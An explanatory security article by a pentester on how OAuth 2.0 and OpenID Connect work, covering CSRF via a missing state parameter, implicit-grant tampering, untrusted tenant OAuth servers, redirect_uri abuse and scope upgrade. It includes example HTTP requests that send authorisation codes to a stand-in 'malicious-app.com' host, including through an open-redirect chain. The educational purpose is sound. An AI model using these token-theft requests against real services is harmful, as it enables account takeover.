Understanding OAuth 2.0 and its Common Vulnerabilities

Introduction

Today, every Internet user uses a multitude of services: social networks, data storage in the cloud, e-commerce sites, banking or administrative applications, forums, and many other web platforms.

These services are often interconnected for two main reasons:

  • A resource, such as a photo hosted on a storage service, can be used by another service.
  • A shared authentication mechanism makes it possible to maintain consistency between applications while avoiding the need for users to manage independent access for each service.

Authentication is the process that enables a user to prove their identity in order to access functions or resources. It is an essential aspect of a web application, in terms of both functionality and security.

OAuth, currently in version 2.0, was originally a protocol designed to allow an application to access a user’s resources hosted on another platform.

Using OAuth, users can grant specific authorisations to an application without sharing their login details with it. This system allows controlled access to resources while preserving the security of sensitive information.

Today, OAuth has also established itself as a key solution for delegating authentication to a third-party platform.

In the following sections, we will first describe how OAuth 2.0 works as an authorisation protocol for exchanging resources. We then examine its role in delegated authentication through OpenID Connect and the associated vulnerabilities and security challenges.

Comprehensive Guide to the OAuth 2.0 Protocol

What is OAuth?

OAuth, or ‘Open Authorization’, is an authorisation protocol that allows one application (web or mobile) to access a user’s resources hosted on another application. In other words, a user can authorise an application to view or use some of their data without sharing their login details.

Let’s take a concrete example: you want an application to access your list of contacts on your Microsoft account. Rather than transmitting your Microsoft identifiers (which would pose a serious security problem), you use Microsoft’s OAuth service to grant this authorisation. You specify that only this application can access your contacts, only for this specific task, and only once.

In practice, OAuth is widely used by web applications to delegate authentication to another platform.

Rather than asking the user to create an account on platform Z, the latter allows the user to authenticate via a platform Y where they already have an account (such as Microsoft or Google).

The user then authorises Z to access only the necessary personal information, such as their email address or identity.

In this case, platform Y acts as the ‘authorisation server’ (often mistakenly referred to as the ‘OAuth server’), while Z is referred to as the ‘client’. Here, it is no longer a question of sharing a resource as such, but only the user’s personal data.

This mechanism has several advantages:

  • Enhanced security: The client (platform Z) does not need to know the user’s credentials. It therefore does not have to manage an authentication system or store passwords, which eliminates the risk of this information being leaked.
  • Improved user experience: Users no longer need to create an account for each platform they use, simplifying their access to services.
  • Reduced password risk: Users no longer have to manage multiple passwords, reducing the risk of passwords being reused or weakened.
  • Ease for developers: Developers can dispense with the need to set up a dedicated authentication system, saving time and reducing technical complexity.

OAuth 2.0 is therefore proving to be an advantageous solution, both for developers who wish to delegate authentication and for users who benefit from simplified and more secure access.

However, poorly controlled deployment can lead to vulnerabilities. These risks are discussed in the ‘Security challenges and vulnerabilities’ section.

Differences Between OAuth and OpenID Connect

OpenID Connect (OIDC) is an extension to OAuth 2.0, designed to simplify and standardise the delegation of authentication.

Because OAuth was not originally designed for authentication, developers often had to adapt their implementations, which complicated integration with each provider.

OpenID Connect provides specific features that make authentication more reliable and easier to implement.

One of the main improvements is the use of a signed JSON Web Token (JWS). This token, called a self-contained token, contains all the necessary information: user data requested by the client application, as well as details of the method and time of the last authentication.

This approach reduces the number of exchanges with the server, improving performance, while guaranteeing the integrity of the data transmitted (via the response_type=id_token parameter).

OpenID Connect also stands out for its management of scopes. With OAuth, each authorisation specifies the resources to be accessed (for example, scope=contacts.read).

In contrast, OIDC offers standardised scopes that can be used by all client applications. Data is returned in the form of key-value pairs, called claims. For example, with scope=openid%20profile, an application can obtain the user’s name in the form ‘name’:‘John’.

In summary, OIDC focuses on authentication based on OAuth 2.0, making the process simpler, more reliable and more efficient. However, because OpenID Connect is based on OAuth, it does not address the security vulnerabilities inherent in OAuth.

The vulnerabilities described in the ‘Security challenges and vulnerabilities’ section therefore remain applicable to OIDC. What’s more, vulnerabilities specific to OpenID Connect may arise in the event of incorrect implementation.

How does OAuth 2.0 Work?

As mentioned above, OAuth works on the basis of several actors:

  • The client: this is the application that wishes to access resources or delegate authentication.
  • The authorisation server: this allows the user to authorise access to their data or not. This server also manages user authentication. This dual function of authentication and authorisation is often referred to as the ‘OAuth server’ or ‘OAuth service provider’.
  • The resource server: this stores the data required by the client. In some cases, the authorisation server and the resource server are one and the same entity.

The user, as the owner of the resources, browses the client application, authenticates to the OAuth server and then authorises the application to access the requested resources.

After authenticating and granting access to a protected resource, the user receives an access token issued by the OAuth server. This token specifies:

  • Which application is authorised,
  • What data can be consulted,
  • and for how long.

The user then sends this token to the client application, which uses it to access the secure resource.

The process works as follows:

  1. The client application sends the token to the resource server.
  2. The resource server checks the validity of the token with the authorisation server. This communication is invisible to the user and the client application.
  3. If the token is valid, the resource server sends the requested data to the client application.

Although OAuth was not originally designed for authentication, it is now widely used for this purpose.

For example, a site might offer you the option of logging in via your account on a social network, thus avoiding the need to create a new account.

It works in a similar way to the original scheme, but what changes is the use of the data received via the access token. Apart from OpenID Connect, this use is not standardised and can vary from one implementation to another.

Here’s how authentication via OAuth is generally implemented:

  1. The user chooses to connect with a social network account. The client application then uses the social network’s OAuth service to request certain data (for example, an email address).
  2. After receiving an access token, the client application uses an endpoint, often called /userinfo, to retrieve this data from the resource server.
  3. Once the data has been obtained, the client application uses it to identify and connect the user, often by replacing a traditional password with the access token.

In this case, the aim is not to access specific resources on the social network (such as a photo or a list of contacts), but only a single piece of data, such as the user’s email address, which is used to authenticate the user.

    This is also the approach adopted by OpenID Connect, when used without self-contained tokens.

    Note that OIDC uses slightly different names to OAuth:
    ‘Client Application’ becomes ’Relying Party
    ‘OAuth Server’ becomes “OpenID Povider”.

    Ultimately, delegated authentication relies on the trust that the client application places in the OAuth server. The server must guarantee that only verified and intact information is transmitted.

    For example, if a user can alter the data returned by the /userinfo endpoint (such as providing another user’s email address), the security of the authentication is compromised.

    For the user, authentication via OAuth is very similar to a SAML-based single sign-on (SSO) solution.

    What are OAuth 2.0’s Security Challenges and Vulnerabilities?

    The use of OAuth 2.0 for authentication delegation presents risks of vulnerabilities, whether or not OpenID Connect is implemented (although OIDC is now widely adopted).

    These vulnerabilities do not stem from the protocol itself, but rather from its implementations. They can be grouped into several categories:

    • Vulnerabilities in the OAuth client application: insufficient anti-CSRF protection, poor Implicit Grant management, over-reliance on the client OAuth server.
    • Leakage of authorisation codes or access tokens.
    • Vulnerabilities in the OAuth server: incorrect validation of scopes (scope upgrade).

    To better understand these risks, let’s look at a typical HTTP request sent to the OAuth server during an authorisation request:

    GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
    Host: oauth-authorization-server.com

    This request, generated by the client application, is sent by the end user to the OAuth server. It contains the following elements:

    • /authorization: Endpoint of the OAuth server used to request authorization.
    • client_id: Identifier of the client application making the request.
    • redirect_uri: Redirect URL after authorisation/authentication, where the token will be sent (endpoint of the client application).
    • response_type: Type of response expected. For example, ‘token’ indicates that an access token will be returned, while ‘id_token’ is used to obtain a JWS (see OpenID Connect section).
    • scope: Authorisation scope. Here, ‘openid profile’ gives access to user profile information defined by OpenID.
    • state: Anti-CSRF token containing a random and unpredictable value, to protect against cross-site request forgery attacks.

    These parameters, although necessary, can become points of vulnerability if they are poorly managed. In what follows, we explore the associated risks and how to prevent them.

    The state parameter is not mandatory in OAuth 2.0, but its use is strongly recommended.

    If this parameter is not activated, if it is not checked by the client application, or if it is predictable (non-random), a CSRF (Cross-Site Request Forgery) attack becomes possible.

    Example: A client application allows its users to link their account to a social network. This then allows them to connect to the application using their social media credentials, rather than a password specific to the application.

    During this binding, the following two requests are sent:

    1. From the user to the OAuth server (social network):
    GET /auth?client_id=54321&redirect_uri=https://client-app.com/oauth&response_type=code&scope=openid%20profile%20email  HTTP/1.1
    Host: social-media.com

    After authentication on the social media, a code (e.g. KJSUSIEGHBSHEOKJJSOIPE) is generated and sent back to the client application.

    1. From the user to the client application:
    GET /oauth?code=KJSUSIEGHBSHEOKJJSOIPE HTTP/1.1
    Host: client-app.com

    Without an anti-CSRF (state) mechanism, an attacker could steal access to a user account simply by getting them to click on a malicious link: https://client-app.com/oauth?code=KJSUSIEGHBSHEOKJJSOIPE.

    By clicking on this link, the user would unknowingly link their account to the attacker’s social network, enabling the attacker to log in using the victim’s social network credentials.

    Implicit Grant refers to a scenario where the end user receives a token directly from the OAuth server.

    In the case of non-implicit authorisation, on the other hand, the server issues a code, which the client application then uses to obtain the token and access the resource.

    Non-implicit Grant | Source : Portswigger
    Implicit Grant | Source : Portswigger

    The main difference is that, with Implicit Grant, the user receives the access token directly, allowing them to make requests to the OAuth server to obtain their personal information (via /userinfo, for example). This approach simplifies implementation, hence its popularity.

    To finalise the authentication process and maintain an active session on the client application, the user generally sends their information to the server via a POST request, which allows the server to assign a session cookie.

    In this case, the client application server does not need to communicate directly with the OAuth server, as all communication takes place via the user’s browser.

    However, from a security point of view, it is crucial that the server checks that the information provided by the user corresponds to the access token.

    Without this verification, a user could falsify their data, for example by submitting an incorrect email address to access another user’s account.

    This vulnerability is not specific to OAuth, but concerns authentication delegation mechanisms in general. It may also be present in authentication systems such as SAML.

    In the context of a multi-tenant client application, users can sometimes configure their accounts to delegate authentication to their own OAuth server. This is particularly useful because a client with centralised authentication (SSO) can use it to manage user access to the client application.

    The scenario is as follows: when a user enters their email address (1.) on the client application, they are given the option to ‘connect via SSO’ (2.). They are then redirected to their company’s OAuth server, where they enter their login details (3.).

    Once authenticated, the user is redirected to the client application, which receives their token (or code). This process follows the classic OAuth steps described earlier in this chapter.

    At this stage, the client application uses the user’s data (such as their email address) to associate it with existing accounts on the platform and thus create a session for the user on the corresponding account.

    However, it is crucial that the client application server verifies that the OAuth server providing this information actually belongs to the server configured for the user’s account in question (for example, the email address).

    In other words, the client application should never blindly trust the external OAuth server without verifying the data: as this server is under the control of external actors, it could return any email address (4.).

    If the client application does not check the correspondence between the email address and the OAuth server, an attacker could take control of another user’s account (5. and 6.).

    This vulnerability is common and presents a critical risk, as it allows an attacker to take control of any account on the client application, including administrator or super-administrator accounts.

    During the OAuth authentication process, the response from the OAuth server is particularly sensitive, as it contains an element that is crucial for authenticating the user (be it a code, an access token or a JWS). If this element is intercepted, it is possible to compromise the user’s account.

    A common method of doing this is to manipulate the redirect_uri parameter. If the server does not validate this parameter correctly, or if it is too permissive, an attacker can redirect the user to a malicious platform instead of the client application.

    Take the following example:

    GET /authorization?client_id=6666&redirect_uri=https://malicious-app.com/collect&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
    Host: oauth-authorization-server.com

    Once the user has been authenticated, he/she is redirected to malicious-app.com, with the token as a parameter. The following request is sent to the attacker’s server:

    GET / collect?code=HSJKQLPEMBCJEIAKPSNN HTTP/1.1
    Host: malicious-app.com

    The attacker, in possession of the authentication code, will then be able to access the user’s data.

    However, in general, the redirect_uri parameter cannot be manipulated in this way, as the OAuth server configuration allows the definition of specific domains or URLs that are accepted. In this case, the attacker could attempt an intermediate redirect by exploiting another open redirect vulnerability present on the platform.

    Let’s imagine that the https://client-app.com/redirect page is vulnerable to an open redirect. The attacker could then exploit this vulnerability in the context of OAuth authentication as follows:

    GET /authorization?client_id=6666&redirect_uri=https://client-app.com/redirect?next=https://malicious-app.com/collect &response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
    Host: oauth-authorization-server.com

    The user would first be redirected to https://client-app.com/redirect, then to https://malicious-app.com/collect. If the open redirection vulnerability on https://client-app.com/redirect is exploited, the authentication code could be transmitted to the attacker’s server.

    The OAuth server must check the scope of the token before returning the user’s data. If this validation is omitted, user data may be compromised because:

    • A malicious client application could exploit a user token to access more information than it is authorised to, by modifying the scope parameter when exchanging with the OAuth server.
    • As part of an Implicit Grant, an attacker could intercept a user’s token (for example, when it is sent by the browser) and contact the /userinfo endpoint of the OAuth server, while modifying the scope. This would potentially allow user data to be extracted, even if it was not in the initial scope of the token.

    Author: Cédric CALLY-CABALLERO – Pentester @Vaadata